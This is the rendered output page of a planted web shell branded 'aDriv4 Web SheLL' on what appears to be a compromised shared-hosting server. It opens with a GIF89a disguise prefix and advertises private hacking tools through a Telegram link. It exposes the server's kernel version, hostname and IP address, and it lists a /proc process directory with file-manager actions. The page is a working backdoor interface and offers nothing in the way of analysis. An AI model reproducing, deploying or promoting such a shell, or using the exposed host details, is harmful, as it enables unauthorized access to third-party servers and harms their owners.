GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server184.web-hosting.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64
 LiteSpeed
 198.54.114.129
Name Type Size Owner/Group Permission Last Modified Actions
. dir - jrsdomnz/jrsdomnz 0555 2026-01-20 11:08:02
.. dir - jrsdomnz/jrsdomnz 0555 2026-01-20 11:08:02
attr dir - jrsdomnz/jrsdomnz 0555 2026-01-20 11:08:08
cwd link - jrsdomnz/jrsdomnz 0555 2026-01-20 11:08:02
fd dir - jrsdomnz/jrsdomnz 0500 2026-01-20 11:08:08
fdinfo dir - jrsdomnz/jrsdomnz 0500 2026-01-20 11:08:08
net dir - jrsdomnz/jrsdomnz 0555 2026-01-20 11:08:08
ns dir - jrsdomnz/jrsdomnz 0511 2026-01-20 11:08:08
root link - root/root 0755 2025-08-05 08:05:44
auxv application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
cgroup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:02
children application/x-empty 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
clear_refs 0 B jrsdomnz/jrsdomnz 0200 2026-01-20 11:08:08
cmdline application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:02
comm text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
cpu_resctrl_groups text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
cpuset application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
environ application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
io text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
limits text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
loginuid text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
mem 0 B jrsdomnz/jrsdomnz 0600 2026-01-20 11:08:08
mountinfo text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
mounts text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
numa_maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
oom_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
oom_score text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
oom_score_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
pagemap application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
patch_state text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
personality text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
projid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
sched text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
schedstat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
sessionid text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
setgroups text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
smaps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
smaps_rollup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
stack 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
stat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:02
statm text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:02
status text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:02
syscall text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-20 11:08:08
uid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-20 11:08:08
wchan application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-20 11:08:08
© aDriv4